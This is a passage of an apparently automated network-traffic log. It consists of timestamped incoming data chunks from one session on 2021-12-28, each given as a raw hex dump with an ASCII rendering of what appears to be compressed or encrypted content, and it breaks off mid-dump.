2021-12-28 04:19:41 UTC	2241	IN	Data Raw: 1a e4 91 4e 7e 41 d6 48 de 46 01 66 00 c8 af 68 42 16 49 3d 36 c8 2c d7 b6 fb 64 66 55 10 9f 80 09 f7 88 f6 1a 8f e1 f8 ba 32 fd 50 25 8e 47 a3 07 ff e3 a7 53 15 4d 34 7e 18 e5 15 3a b6 31 7d a9 ce ff 6b 8f 76 19 e1 0a dc c8 c8 41 5c 8c 31 52 00 29 5e 30 fa 1a 04 e6 b0 67 f3 a1 15 f7 0d 55 8c bb 20 ac a1 73 bf 06 38 b9 8a 8a d8 bd 20 04 10 19 dd 7b d9 c3 f1 98 45 3e a2 a4 f1 bd 89 28 f1 e3 bd 9e b4 7a 4f 83 4b 5a bf 1d f9 4c ca d1 ee 9a b9 e9 17 c9 c7 3c be 47 a4 fd f2 28 71 ea 80 15 6f 37 2a 5a ce 24 b4 ed 1a 81 0f 82 8b 77 97 73 34 7c b5 b6 b2 b7 d5 d7 1b 30 20 a8 5c 1c 4c 6f 45 5f eb 67 48 c4 4a c8 cb 71 4a f2 33 92 49 9a 49 26 7e 9c da 15 84 75 6c 14 02 00 85 96 e5 49 e9 b6 2c 70 f5 22 de 09 dc d3 c1 09 ef 74 70 54 1d c9 be aa a4 fe 7c ff d4 b5 d7 9d Data Ascii: N~AHFfhBI=6,dfU2P%GSM4~:1}kvA\1R)^0gU s8 {E>(zOKZL<G(qo7*Z$ws4\|0 \LoE_gHJqJ3II&~ulI,p"tpT\|
2021-12-28 04:19:41 UTC	2257	IN	Data Raw: bd 68 59 0e 50 3e 16 3b 5b f9 93 89 8b e9 e3 fe 65 8d a0 a2 1c 4a 6b 37 08 83 5a c7 db 82 12 1a 8a 54 6a 9d 62 50 b9 c3 13 ab ed e8 bb 6a 79 6b 4b c7 fd 78 ec e5 3e 71 e3 45 7d cc 50 4d 37 52 39 6e bf 50 b9 6b 2a e5 17 5c 3b 77 8b 6e bd cd fa e2 a7 73 90 fe 14 ca b4 dd e6 98 58 2d 36 73 fb 41 e2 eb 2a 5f 3f 3c a8 9f 4d 44 2c 1e 95 cc 5a 0a 78 c9 28 d6 f6 18 3c 74 5b ac 15 c6 29 c0 f5 e0 94 29 cb 3c 47 57 f6 09 cd 2d 4f 98 cf 1b 8f 24 b1 75 14 8b 40 d6 ce e6 2f 0d 53 23 e5 5a f2 6a aa 57 d3 f5 ae 45 26 7a be d7 fc 88 fd 39 42 2d 9a 7c f2 3c 71 ea 28 ba f7 75 41 d1 b4 91 fa 24 a9 1c 87 dc d0 f0 39 d8 fd bb ec d5 66 4a 14 e8 de 65 96 5d 0a 2a 57 cf 0b 71 aa 3d 95 a6 62 fb 9b 3d 92 dd 25 c2 61 ca 1b 7d bf 29 70 2b e7 a0 1c 71 6b 52 af ea 1f e6 81 ff 95 25 8d Data Ascii: hYP>;[eJk7ZTjbPjykKx>qE}PM7R9nPk\;wnsX-6sA_?<MD,Zx(<t[))<GW-O$u@/S#ZjWE&z9B-\|<q(uA$9fJe]*Wq=b=%a})p+qkR%
2021-12-28 04:19:41 UTC	2273	IN	Data Raw: 60 f3 d7 3b 09 ef 57 13 89 55 04 8a 73 5c 8c ac ce d7 f0 b6 5e c2 be 37 1d 09 32 b2 8b 38 75 49 2c 52 26 1a 00 4a ea de d5 5e 0e 97 4a 4d 24 ad 38 28 8b d1 8b 2d 9d c0 47 08 97 d7 f9 36 7a 83 c4 d5 9c be 56 3a f2 cf b0 63 b6 c0 7a 2b 82 c2 93 93 c2 16 70 58 53 ff 35 4d 32 92 f5 c1 02 b4 f8 89 4e b1 aa d5 b0 15 95 43 94 e0 cc b9 14 28 57 eb ab 41 7f ba a5 41 10 f8 43 2f 76 69 e4 c9 6f cd a1 35 c2 e6 0d 9e 94 60 9b 7a 9c 8c 5c 8c 06 95 f2 be 12 dc e2 3e df fd ac 06 3c 26 5c 62 47 c9 d0 ad 9b 81 40 57 21 fb c6 8d 3d 35 18 e6 a2 ed c8 f4 a5 7d b4 ab 4d 9a 8d f9 0c df 5d 07 3f 3d 28 bf 9d 50 96 e7 e5 6b 7d f5 48 db e2 7a bc 54 e4 00 0d b2 dd f2 98 93 0d 5a 68 bd c5 f0 30 81 e3 62 93 e6 bb 8f 9b 01 06 4f c0 07 f4 fe 0b 68 ef 01 56 66 d0 5b 67 33 dc a0 52 2d 1e Data Ascii: `;WUs\^728uI,R&J^JM$8(-G6zV:cz+pXS5M2NC(WAAC/vio5`z\><&\bG@W!=5}M]?=(Pk}HzTZh0bOhVf[g3R-
2021-12-28 04:19:41 UTC	2289	IN	Data Raw: bc b5 d2 f5 6f ae 33 0c d5 ad b9 58 30 73 08 2c fb d8 15 80 c8 e4 de d6 7d 98 4b 66 9a 29 b2 df 38 18 f3 b0 e6 b8 f6 74 5f 28 2d 32 fd 58 a6 57 d2 df 09 b9 8d f2 73 ca c1 35 0a a9 40 93 42 a4 f6 65 9a e6 a7 3b fc 59 0a a9 7f cc 9f 70 84 dd 37 4b 7b f8 ff 06 40 fe 08 df ed 47 a0 b2 c3 e5 65 b2 a0 28 4a 58 62 6b 2f 6c a9 45 9f 83 4b b4 56 79 bc 2f ea 6e c8 0c 9e 42 60 d2 7c 56 e1 39 49 9f e7 70 21 f1 4a b8 c6 a6 bd d9 05 77 f7 ec 4d ab d0 89 74 f5 fe d1 c6 67 46 cb 97 3e 07 ef a2 d1 24 cc f5 c2 2d 71 d7 82 ac 40 a2 f6 42 86 b8 47 d4 eb d7 29 6d 4a 15 5a b0 a8 b9 92 23 8b bf f8 5c 91 f6 26 d0 85 d9 b7 40 e9 f4 12 1b f6 ae 31 d2 29 70 0e cf e8 90 ac 92 09 f1 a8 9a db 31 df 27 21 ca a1 49 1d 58 56 59 63 75 0f 80 aa 1d 14 2f 74 2d c0 a6 9d df 78 ef 17 33 58 42 Data Ascii: o3X0s,}Kf)8t_(-2XWs5@Be;Yp7K{@Ge(JXbk/lEKVy/nB`\|V9Ip!JwMtgF>$-q@BG)mJZ#\&@1)p1'!IXVYcu/t-x3XB
2021-12-28 04:19:41 UTC	2305	IN	Data Raw: b8 9a eb 90 87 ba 5f 99 73 af 87 93 d1 7a 80 ba 15 ef 9b 7c 3d fb a9 ba 7e 04 70 fd 0b 67 f2 f4 13 40 f3 fc 44 0e 77 65 75 02 69 19 38 9a d4 90 d9 cd 08 ef 3a c8 fa eb 5a 5d 99 79 4c d9 bc f2 a3 34 ff ed 5a cd 61 26 7c 51 6b aa e2 79 38 d0 72 b3 84 c3 1f c0 15 e3 b0 27 6f 89 4c 74 5c cf 61 27 3c 74 5e df b9 4b 11 b6 a5 3f c9 27 15 49 74 fe ce a7 11 66 f3 a7 c5 49 02 2e de a1 f0 86 10 a8 87 c6 2f a0 e7 bb ba 3a cc 37 b3 a7 ab 91 49 15 79 45 e7 56 96 4b 92 2c e2 e8 51 25 64 be 90 f1 f6 eb cc c8 8b d2 a5 a2 0f 45 1c 38 1a fa 48 8c 99 9f b9 07 c6 1a 2c aa 60 02 f9 de a1 ee cd 67 47 1c 80 17 ae 33 0c b0 58 6a cd 2d 79 9e b4 df c0 bc d8 08 92 99 ea e3 e0 ee ee bf ee 9e e1 b1 6a 2c 2a bb ba b5 e8 a1 53 ec 0f af 3f c0 9c 54 c0 84 08 c2 13 c3 95 0f 16 38 d8 db e5 Data Ascii: _sz\|=~pg@Dweui8:Z]yL4Za&\|Qky8r'oLt\a'<t^K?'ItfI./:7IyEVK,Q%dE8H,`gG3Xj-yj,*S?T8
2021-12-28 04:19:41 UTC	2321	IN	Data Raw: 81 31 d5 69 2e 47 82 f7 5b ec 34 e5 ca 15 dd 73 4b 9f 17 9b 21 85 b5 9a 5b dc b3 59 26 ef 41 aa 5c 18 13 77 a5 ce f5 49 79 46 e1 92 14 d1 ad c6 df 53 ac 80 28 72 4f f7 4e 80 a1 a0 98 47 e7 00 ac 4f 26 f8 4b 27 42 aa cb f4 9a 16 0c 6f d2 4c ce 88 2a bb dc 83 30 de f2 33 10 ab 38 d7 59 05 f2 cb 13 93 e6 f1 ff 78 31 64 4b e6 37 82 d4 cd 33 70 3a d9 83 b3 80 10 0a ba 52 e5 bd 58 8d ad 42 da 87 a6 e8 66 69 9f aa 72 61 33 f5 ad 11 e6 fa f0 6f 60 6f 9f 20 16 8d 1d 3b 1f f6 a0 ac 88 ac bf 6a b1 5f 02 f7 81 09 8a 5d 4f e9 46 a9 5a 64 9f 4d 8c ef 79 06 3b bd 23 33 e0 73 39 e9 c5 45 18 c8 a0 e6 d4 51 fb b4 36 21 ef 56 54 b7 7d 02 83 36 0e 96 cc 9d 1a 48 51 bf c9 ec 07 d5 92 cb 7c 5e a0 3d 8c c5 6d d7 ae 2a 22 c9 93 69 81 5f da 82 44 0c 3a 98 94 aa 15 d7 7f 27 49 4a Data Ascii: 1i.G[4sK![Y&A\wIyFS(rONGO&K'BoL038Yx1dK73p:RXBfira3o`o ;j_]OFZdMy;#3s9EQ6!VT}6HQ\|^=m"i_D:'IJ
2021-12-28 04:19:41 UTC	2337	IN	Data Raw: 1d b2 75 b5 98 39 da 3a da 75 a8 e0 8f ff 2a 46 65 3e e6 2a a8 28 b8 91 bb 67 7b 71 66 b6 52 20 61 72 12 f1 11 38 e2 ea 9f 6b 3c d0 83 2f b6 fa 86 7c 33 b9 d2 db 3a 71 d2 de f9 92 81 a8 32 7b 55 cd 0e 1f 40 05 37 19 e9 29 3c cb b5 2c 9f 06 14 21 c7 90 4a f8 ae f3 59 bc 27 70 bd 11 2e 2a e7 43 93 84 da 2a 89 fa e4 45 d6 9a 1a 26 68 f7 e5 66 3e 73 78 76 c3 d1 bf a5 f3 ca 66 4a c7 61 21 c5 f6 53 ea 3a e4 d5 8a d9 e2 dd 8e ea bc 1e 6e 53 c0 dc 61 0a 58 51 3b 26 c1 6d 63 af 92 79 97 b6 ae 1d 67 95 21 46 50 ef cf da 8e 11 aa 52 40 b8 a4 96 b8 3c 2b 66 74 ce 0f 14 08 c6 c0 cc 5b 01 b7 f5 c5 6f 0e 08 05 68 71 65 52 b1 f5 e4 bd 35 b3 15 73 d6 e3 30 16 a4 27 32 93 ad cc 1e b8 35 f2 d9 6c e0 58 40 60 38 43 d8 0f 15 35 00 67 6f 3e e1 6e 47 1e 33 89 06 00 09 bd a9 2a Data Ascii: u9:uFe>(g{qfR ar8k</\|3:q2{U@7)<,!JY'p.CE&hf>sxvfJa!S:nSaXQ;&mcyg!FPR@<+ft[ohqeR5s0'25lX@`8C5go>nG3*
2021-12-28 04:19:41 UTC	2353	IN	Data Raw: cd 34 30 a3 53 df f1 1a 9b cb 1f d3 70 f3 5b 15 74 23 6b 11 ae e2 62 b8 39 82 2b 08 44 22 ef 1a 42 d0 60 8d 96 71 58 35 92 32 83 31 4f 5c b4 82 f3 c0 6b bc fc ad 6b 92 48 62 4b 8a cb 3e 00 2e 23 46 53 dc b9 0c f1 b6 4a 66 ca a9 61 fe cd 75 8d 18 c4 07 0d 5b 3d 2f 8c 4a a3 52 85 6f 48 01 c5 d7 cd 45 09 d9 70 ac 1c d2 3b e4 d1 ae 76 b1 88 e8 48 cf e2 64 5a 82 54 5e a4 89 11 77 09 bd 9c a4 30 ee e9 aa 92 75 6d 2e 19 60 91 45 9e c3 72 55 89 08 5c 66 7f bf b7 91 90 2e 3d 74 af 2b a1 15 3e f8 e9 5d 9d 28 85 fb f9 51 89 8f c6 d3 ca cb 5a 79 ca 7e 97 48 9b 22 b9 df 9f 9f 70 30 8b 98 7e cb 8e 10 f0 a4 6b d1 f8 40 90 f3 39 9c 2d 9e 7b 0a 32 2d e3 e4 ec 66 60 24 86 b3 96 2e a9 23 32 b8 43 41 41 f3 cf d2 2c 73 16 0a 3c 9e a5 61 a5 17 fa fe 31 7a e6 be db 4d a1 33 bd Data Ascii: 40Sp[t#kb9+D"B`qX521O\kkHbK>.#FSJfau[=/JRoHEp;vHdZT^w0um.`ErU\f.=t+>](QZy~H"p0~k@9-{2-f`$.#2CAA,s<a1zM3
2021-12-28 04:19:41 UTC	2369	IN	Data Raw: 92 c0 00 c9 a4 3b 04 7a 6b da 01 7c 30 6c 4b 39 c1 49 1f 4b 16 f4 ab ab 8a ad 2a 1d 86 a6 0b db a2 57 64 77 a6 df 8c 29 ab f6 67 4b ae 75 39 57 48 4f 49 1f 7f bd 25 e6 d7 ae 6f 08 0f 30 54 00 a7 e8 e7 20 8b 3c e7 ba 56 67 41 68 fa c8 9e 94 28 fd 2c 67 c0 d1 ac 1e 57 0d 56 99 61 3d 90 0e ec da a8 14 d3 0e d7 80 9d a9 be ad d7 13 cd f6 a5 98 b8 8b dc 54 a8 42 2b d0 3f 46 9c 28 bd b7 36 dc c6 28 71 bd 87 ff 5f 51 94 20 42 c8 35 4e fc 90 f7 e9 66 a1 e7 c2 c3 77 79 19 bb 62 9c e4 3f 81 f9 70 e7 09 52 f3 c1 cf 9b b6 4f 18 5c 5d 81 a7 57 45 0a 00 ae 92 a7 cc 72 77 0b 09 2e 9f 3e 87 fa 53 54 76 76 df 63 d6 a0 f7 f2 87 76 ae 2c 2b 7b e5 ea ba 42 ba 19 bc 02 43 ea f4 55 38 ec b9 b3 7c 5e 52 4b e8 08 c7 a9 b1 86 6f ba 28 19 03 fc 13 3d 37 e2 6a 7a cf e1 42 8b ec b2 Data Ascii: ;zk\|0lK9IK*Wdw)gKu9WHOI%o0T <VgAh(,gWVa=TB+?F(6(q_Q B5Nfwyb?pRO\]WErw.>STvvcv,+{BCU8\|^RKo(=7jzB
2021-12-28 04:19:41 UTC	2385	IN	Data Raw: e2 70 82 59 a9 01 04 9f 73 17 5c bd d7 49 50 f4 ad e9 73 7d d9 95 71 7e a5 a9 91 12 66 5f 50 fe 6b 14 3c 74 d4 80 b1 b7 84 55 0c ab ff 88 1b 82 d0 71 e2 94 25 f5 d8 17 48 5f 13 7e 26 c1 77 c4 89 4e 9d 54 83 2c a8 22 e9 df b2 62 6c e0 f1 fd c0 12 a6 ea 42 ac b9 fe d0 00 b0 b7 76 22 17 92 20 cd 6d ec a7 fa 44 74 6c 27 1a 0f 60 22 7f bb f6 8d fd 36 fd cf 9a 92 6c c1 da 03 46 9e b0 eb 0d 3e e1 b5 38 24 0c 9c 12 d8 dd 7a ae 70 22 77 cb 31 5d f4 a5 41 7c 80 48 c6 38 f5 b5 f4 7e c7 fc 9a 82 90 eb fc 05 b6 58 eb 2a 0e cf a4 ea 68 4d 8b 8d 0f 0d dc d2 ea 38 df b3 f9 29 4e 49 70 aa fe 02 3a e4 49 12 a4 8b 7b 1f fd 0c 5c c7 9e 42 cc 99 2f f0 2f de f9 a1 a4 db 04 96 d8 3c cd ee 53 d8 f4 05 b0 eb c1 5b 62 fc 83 4a 5f 46 d8 eb 3b da 7e de d1 e2 1d 16 e2 e3 5a cb ae eb Data Ascii: pYs\IPs}q~f_Pk<tUq%H_~&wNT,"blBv" mDtl'`"6lF>8$zp"w1]A\|H8~X*hM8)NIp:I{\B//<S[bJ_F;~Z
2021-12-28 04:19:41 UTC	2401	IN	Data Raw: 8a da d1 ac 84 b5 86 e9 78 c5 9e 2f 36 0a ff ad 8e f6 4c cf 5e 1f 26 6d 8f d9 38 d4 cc 92 56 f5 33 a8 fa 78 01 f5 41 94 5c 11 9d 71 91 21 ab cc 9f 6e cc d6 83 7b 79 41 2b a7 1f 8e c9 62 79 fd 40 27 cc bd 20 6a 18 dc 67 1c df 21 4f 5b d5 67 ee 2f fe a3 c4 24 33 5a 9e 8e 8f 49 38 1e 04 dd 84 26 2b 0c 96 a6 01 db 95 49 61 b2 0c da a4 43 ce ab 8c e1 c9 fe 63 18 46 52 e4 32 b9 2d 32 41 68 74 a5 c6 21 75 fe 29 2c 66 ba d2 6c 08 85 58 c2 d7 cf c2 2c 75 e8 41 db 9d 1c 7a ae e7 fd a7 82 30 9b 70 10 88 dd 75 cb a5 f0 73 df 16 5f a0 e6 6a 77 bc a3 73 09 aa 57 14 1a 3a 1d 31 58 f1 21 d7 be 39 86 fe fe c0 34 de 81 2f ff 55 dd d3 cc 36 06 da ab 0b 60 66 9e 24 23 5d d7 f2 ae 61 22 17 55 61 c1 d1 2d 9f 7a 2d 03 4b 63 8e 4d 19 9e 5a c8 39 dd f4 b8 1d 4f 10 74 5a ad 54 c2 Data Ascii: x/6L^&m8V3xA\q!n{yA+by@' jg!O[g/$3ZI8&+IaCcFR2-2Aht!u),flX,uAz0pus_jwsW:1X!94/U6`f$#]a"Ua-z-KcMZ9OtZT
2021-12-28 04:19:41 UTC	2417	IN	Data Raw: 31 ca 0b a3 a7 38 19 f8 29 77 04 35 e0 cc f8 9f 97 98 8c 44 7f c5 ab 56 d6 7e f4 55 de ea 56 90 4b 2e 94 ef 43 83 10 d3 4d a4 e2 e2 79 25 9f af 68 9f 27 82 fa 15 f9 92 5f 3a 86 84 51 77 fb 4b 73 7e a2 dc 37 92 80 63 e1 30 28 18 f2 db 89 77 3c 66 51 63 72 35 5e 87 3e c6 78 1f 1f d6 23 06 2b d3 d6 c0 e2 fc 0a 60 ec 93 a7 27 3b 0d 88 2f 21 0c 80 77 8c ac cb a8 03 25 ce 7a bc 4d 68 88 9d 52 1e 2d 98 25 27 26 25 42 0d a0 b6 cc 62 00 fc 00 5b c7 38 0e 51 8e 9a 3b 4b 58 02 51 12 83 51 e4 4d af b2 e2 2c 94 ad 5c e6 64 02 03 ad 6c 96 85 f6 79 0b 68 02 ad 86 60 7c 51 b2 d0 4e fd 44 19 71 e9 3f 64 00 29 47 64 68 5a 50 c5 72 45 b5 e8 33 c6 50 9d c2 82 4f 97 36 1e e8 52 7c fa 0b 87 50 0f 4f d0 56 42 87 8e ee ee a4 d7 9e 67 5e d0 0a 9e 48 55 69 0d d8 4f e4 29 43 91 d5 Data Ascii: 18)w5DV~UVK.CMy%h'_:QwKs~7c0(w<fQcr5^>x#+`';/!w%zMhR-%'&%Bb[8Q;KXQQM,\dlyh`\|QNDq?d)GdhZPrE3PO6R\|POVBg^HUiO)C
2021-12-28 04:19:41 UTC	2433	IN	Data Raw: 74 c2 9c 62 eb 8b cc f5 26 85 9f cf db eb ba 0d 64 58 53 3b 4f 88 ad 1c 8a 1c 61 45 f6 58 3f 15 d3 5e 60 ef 99 4a 99 7d d2 c8 b7 db ad 9f 2e cb 26 1e 79 52 8e d7 04 83 2b 4a 20 a6 fe 58 e9 d0 99 49 71 23 4c d9 3e ec 48 2f d1 84 b3 24 8f 8d 58 4c 53 fc d2 a1 fe 39 5e 8a 79 29 f6 af ec 78 b3 25 11 99 ed 9a 28 c3 5d e5 3b 31 dc 9e da 23 06 60 5b a2 4c 3c 05 c3 42 3a 90 02 09 0d 5f 34 71 8e 3c f5 70 6b 32 73 ea d6 4e 43 ec c2 95 98 5f 23 3a 99 6a 6a 76 70 3d 24 7f 1e 4d 0b f2 62 50 cb ac 09 0c b1 0f 64 c8 26 a4 18 b0 7f 28 c6 74 15 67 6c ea a6 ea db 64 c9 88 20 eb d1 a7 78 c6 ab 90 62 1d 90 7d e4 dc 9f bd 4b 6a c6 be 3f c1 b3 d3 18 97 38 d2 51 de 88 fa 73 62 47 f0 58 ba 2c 69 44 99 dd ff 3c ca 2b f2 40 57 cb f8 ca b1 6f 5c 2e f3 ca 3f 06 25 c0 d7 ab 86 02 de Data Ascii: tb&dXS;OaEX?^`J}.&yR+J XIq#L>H/$XLS9^y)x%(];1#`[L<B:_4q<pk2sNC_#:jjvp=$MbPd&(tgld xb}Kj?8QsbGX,iD<+@Wo\.?%
2021-12-28 04:19:41 UTC	2449	IN	Data Raw: 3a 25 98 c4 a3 32 81 e9 ab 21 2f 20 5b a8 40 00 4c 94 24 cf 31 36 17 f1 a7 72 c0 3f fd 6d 34 5d 8f 30 e8 2c 50 b6 2b 3f c4 69 4f d6 bf 7a 28 81 84 cc 54 f7 75 93 c5 bc 8a dd 6f 1d 4d ee 4e e2 9f 61 92 a2 cc 74 58 52 1e a5 7f 63 02 53 db 59 0e 1d 53 e4 54 ff d8 64 51 00 57 99 2d 8d 91 37 53 88 e7 0e 6b b0 b5 ce d8 2b cb 24 4c d4 69 e5 20 47 ea 07 1b 18 9a 80 fd 52 9c 3e d5 7d 48 53 21 42 46 df 68 bc bc 19 8b 14 6a 5d f6 72 63 eb b3 26 86 83 33 a6 c2 3e 13 07 3a d5 6f fa bb b5 7f 0b ea 9a 82 53 7f ec 4e 0e 26 16 e8 ef fd c4 6f fb 33 93 43 0e f0 d5 93 4e 3f 07 ab 99 9b 7e 08 09 29 fc 7d bc 60 0e 2c b2 2c 51 6d cf ea c2 a4 5b 30 8a 82 54 b9 03 95 36 ce 12 74 25 85 4f 7c 2b 8b 1e 58 e9 9a e4 c7 7d 14 85 b9 44 8f ab 0f e9 92 23 40 3c b6 09 90 bd 95 45 c5 ff 80 Data Ascii: :%2!/ [@L$16r?m4]0,P+?iOz(TuoMNatXRcSYSTdQW-7Sk+$Li GR>}HS!BFhj]rc&3>:oSN&o3CN?~)}`,,Qm[0T6t%O\|+X}D#@<E
2021-12-28 04:19:41 UTC	2465	IN	Data Raw: d9 a4 cb 63 a0 9a f0 dd b8 fe 3b 04 ea ed b5 5b c5 29 f6 31 4d 58 d7 b9 3f a4 f5 23 b2 59 15 7d 26 43 24 31 1b 12 59 f5 1f 87 f9 f1 0b 4b cd 8c 05 1e 3b a6 56 3c c2 7e 74 1f 43 90 d4 57 cf 46 eb e1 1f 04 65 bb e3 35 f0 61 58 4b 9d ca cb d9 06 9f e0 91 16 c1 28 3b f9 29 2e b9 c7 dd 0e b8 b8 ee 9c 30 f6 c2 f7 5e 1b e5 31 3a 12 aa 48 18 e9 08 41 c1 79 47 97 7a 33 bc c4 b1 85 3e 4f e2 a4 34 76 74 4b a9 6c 3a 0e 0d cf 49 3b 64 e8 b3 08 60 da c5 76 b1 4c 9a 0a df f2 cd f2 6c 19 0b c3 c4 e1 7d 4a ae c1 8a 52 2c b0 9b 51 a2 43 e6 9f b5 ea b1 58 a5 05 aa be bb 57 8b ed dc 75 86 d3 c7 fb 53 7c 8c 3d 12 16 c5 d7 18 66 29 b0 a0 ec 6f 77 7e 5b 86 95 2b 00 7c 68 37 7d 9d 21 dd b5 7a 06 0d 14 2a 41 4e 95 a1 ae 59 ac 01 8b 04 45 ab c3 da 4f 73 a6 8f 47 f5 e1 7f be 76 c4 Data Ascii: c;[)1MX?#Y}&C$1YK;V<~tCWFe5aXK(;).0^1:HAyGz3>O4vtKl:I;d`vLl}JR,QCXWuS\|=f)ow~[+\|h7}!z*ANYEOsGv
2021-12-28 04:19:41 UTC	2476	IN	Data Raw: 83 ff 4f 03 4f c1 35 a8 ef 3c 83 f8 bf 05 31 6e 41 88 04 a5 49 75 a5 0e 4c fa 6a d8 60 61 13 45 a7 8e fd b7 ff 0b 17 d5 b8 ad 65 85 6a 49 69 39 66 ed 80 dd 37 27 42 cf bb 8a b3 46 0a cc 14 31 c0 83 49 30 5d 41 f4 f3 07 11 31 ec d9 9c ef ec d9 eb ff 8b c4 83 cd 6a 71 1d 14 2a 00 1d b5 2a d5 10 8f d7 13 6f 2d f2 be 62 20 a0 0e b1 31 b9 5d ce 8d e6 eb bc ae d3 ef 0e 18 e3 26 d4 5d 34 bc e9 d4 ae 40 1d 6f b1 3b 4d d4 f7 f8 e4 fd 92 39 2b c8 5c 41 ab 94 30 54 21 87 41 c0 28 96 b4 13 48 f1 cc 96 38 35 7e 56 c9 92 b7 28 ac a2 23 1e b2 ef 2b 83 5d 29 18 14 7c 3f 8c 48 42 82 d9 54 18 fb 90 12 f1 da c4 44 41 82 c5 70 fd 09 16 87 2e a2 0b b9 69 48 1e d9 bc e1 81 a4 9f e3 48 6d 6c ee 85 6a 19 62 98 b6 c5 d2 40 81 c2 84 5e 54 d0 98 c3 34 bf 71 8d 12 f3 70 39 8f b1 0f Data Ascii: OO5<1nAIuLj`aEejIi9f7'BF1I0]A1jq**o-b 1]&]4@o;M9+\A0T!A(H85~V(#+])\|?HBTDAp.iHHmljb@^T4qp9
2021-12-28 04:19:41 UTC	2492	IN	Data Raw: 8f 38 e5 6b 6a 38 ce cb 1d f7 a0 37 ca f5 4a d3 dd 32 de 16 4b 14 80 98 a6 16 8a c6 54 71 0e 20 6d 50 ac bb 2a f8 9b 43 45 a7 76 ab 43 2d ae 5e 78 ed 7a 75 d2 9c 42 68 46 f8 89 df 76 ac de 93 e4 a5 c5 d0 cf 31 72 bf 2a 4f d5 0c 62 58 aa 2d 3a 1e 9e 09 6d 97 a7 d4 f0 7f af e8 a4 29 0d 31 37 30 4b 3d 8d 14 4b e2 56 c7 78 dc 49 c1 c0 77 ec 32 04 6c e2 62 2b e4 3d 41 52 8a ac 23 9a 3a 49 01 92 2a 2d 09 00 b2 67 22 34 cf 9f b8 95 45 d9 4e 18 b2 9a ab a2 94 7b 88 75 eb 59 ff c9 f6 e3 fa 4f 45 a2 43 ef 7d ad 74 c9 b4 27 36 f8 7b 79 c3 19 14 d5 aa 4c 60 fd 81 83 b8 d2 a5 c4 67 30 66 34 e3 33 af b9 88 42 2a ec 55 d7 ff 1e 62 0a ae 06 ed 21 58 10 2c 3c dd e0 95 da 7d aa f1 d5 b6 09 a1 ac a0 85 0d b8 c4 75 73 49 f1 c0 f3 ea 19 10 d8 b7 1e 78 64 35 86 58 da 72 6f 4d Data Ascii: 8kj87J2KTq mPCEvC-^xzuBhFv1rObX-:m)170K=KVxIw2lb+=AR#:I-g"4EN{uYOEC}t'6{yL`g0f43BUb!X,<}usIxd5XroM
2021-12-28 04:19:41 UTC	2508	IN	Data Raw: 7b 96 2b ba 55 27 54 28 b3 7b 64 14 37 c4 8b 62 19 a2 59 e5 83 bc 51 3d a5 86 69 d6 ac 8c 59 bb cd 01 e9 be bf 8a 8f 61 1a d5 24 cd b5 6c 97 47 3c 53 4b 1c 35 25 44 a6 80 39 0d dd 7b 11 76 b6 a8 1b 52 c6 ea 29 62 9a 2f f9 a0 8a c4 75 e6 6d 83 2c a9 82 16 99 be ce b6 6a 5b bc fb b2 5a 06 bd d9 89 77 0a 05 90 20 f9 b2 18 4f c6 14 dc 64 9e 08 d1 cb 73 88 66 75 10 29 e8 94 59 27 fa 1a 2a f5 fa 8d 94 89 72 53 97 b9 07 69 5c be 7c 73 08 05 a5 55 2a c5 c4 d5 bb e2 a0 68 6e 03 40 fd 69 7d 7d 94 eb 47 a4 11 67 71 0a d2 bf 8d 7b 87 bc 06 e0 68 fd 56 43 84 f8 e5 bd 11 5b 9b 42 95 f6 4e f0 6b 40 c1 5e 4f 6c a3 dd e2 a5 ea 1d e5 e2 db aa 0f 3c 7a 6a ce 49 61 a0 4d e5 dd 88 7f e7 08 f5 f0 25 d4 b3 87 c7 56 1e 45 1c 8b a6 f2 fa 8d 79 c0 47 18 83 a7 9e 39 10 81 1e f6 8c Data Ascii: {+U'T({d7bYQ=iYa$lG<SK5%D9{vR)b/um,j[Zw Odsfu)Y'rSi\\|sUhn@i}}Ggq{hVC[BNk@^Ol<zjIaM%VEyG9
2021-12-28 04:19:41 UTC	2524	IN	Data Raw: 0c b7 57 2d b6 f8 4b 0f 8c 2b 69 77 e4 f2 6f d1 71 ea 3c 32 c3 4d 3e aa 59 44 cf 33 8b 4c 7d f1 9e db 5c f5 77 89 d2 f0 ed 93 44 29 55 2a ff 20 95 8f 96 2c f4 58 7c 70 4b f1 83 ee 60 f0 87 12 d7 21 71 6c de c7 c8 f4 ee 3b 4b 4e 06 a1 90 4a 8b 6e 01 50 fa 9d ec 27 d3 70 13 e6 c0 7a e4 21 3d bd a0 19 9b 1b 3d 7f 58 57 e0 b8 74 9d a4 81 99 71 b4 11 cf 08 7a f3 27 27 bf fd a3 49 2c ac 72 bd 7f a3 3a 48 60 c4 13 4e 69 b7 3b 19 e6 a8 a9 5f 20 3a 5e 07 19 6c fb fd 6e a9 62 d6 e9 d0 68 e4 57 0b e0 02 9f 1a b6 fa 96 8a 52 28 41 87 13 38 83 65 44 1d 3a e6 b5 7e 7e 41 9a bd e2 f3 b1 30 a7 6f 0a bb 96 73 b9 eb 86 7e 07 55 25 e8 a6 e1 84 0f 5c 8b d2 2c be d4 5d 86 67 10 39 ab 69 ec d0 18 b7 8f 7c c1 3a 93 8c 75 e7 16 cb 6a d9 ed 1c e2 25 01 e1 62 3b 61 cd 3c 0b bc 11 Data Ascii: W-K+iwoq<2M>YD3L}\wD)U* ,X\|pK`!ql;KNJnP'pz!==XWtqz''I,r:H`Ni;_ :^lnbhWR(A8eD:~~A0os~U%\,]g9i\|:uj%b;a<
2021-12-28 04:19:41 UTC	2540	IN	Data Raw: d5 31 06 71 be bd c4 1b 2c 2e a8 7a 7e 71 05 ef 6b 20 83 91 c6 9e c6 eb a4 9e 9a 1e b3 b0 ff e2 3f 90 84 66 a2 76 db 6a a6 84 3c 3c cf 82 30 18 a2 34 b6 ba f7 e7 79 68 8c d2 f3 8f 7f 1a 05 24 5b 75 55 f1 c5 6e 8c 5b c3 f4 c2 8a 61 93 05 01 8f d3 d6 04 1c 8c 73 c7 0b 35 c8 3d 49 4d 3b dc 69 60 3c 59 b2 45 b3 53 df 49 23 8e ad 76 81 6e 01 58 2d 18 45 a2 55 a8 bd d7 3c 5c 3c 4a 6d 2d dc 35 4e d8 b5 5a d3 f8 00 d9 8b f7 9a cd 55 da bf 2b 6a 30 09 92 7c 76 f3 8e e6 a6 df bb df 4e 47 78 bd 46 c9 91 e4 bf 90 ab ed 7c 44 a9 4b bf 7c c6 b0 aa 9c ac 68 58 67 84 17 c7 46 71 6a df 95 8b 1b 7b fc 70 5f f8 bd 5a e5 d1 28 c3 ac 80 00 cf 00 e0 c2 66 80 ba d4 f4 d4 16 77 66 52 b3 d9 5d 74 7f 81 7f ad 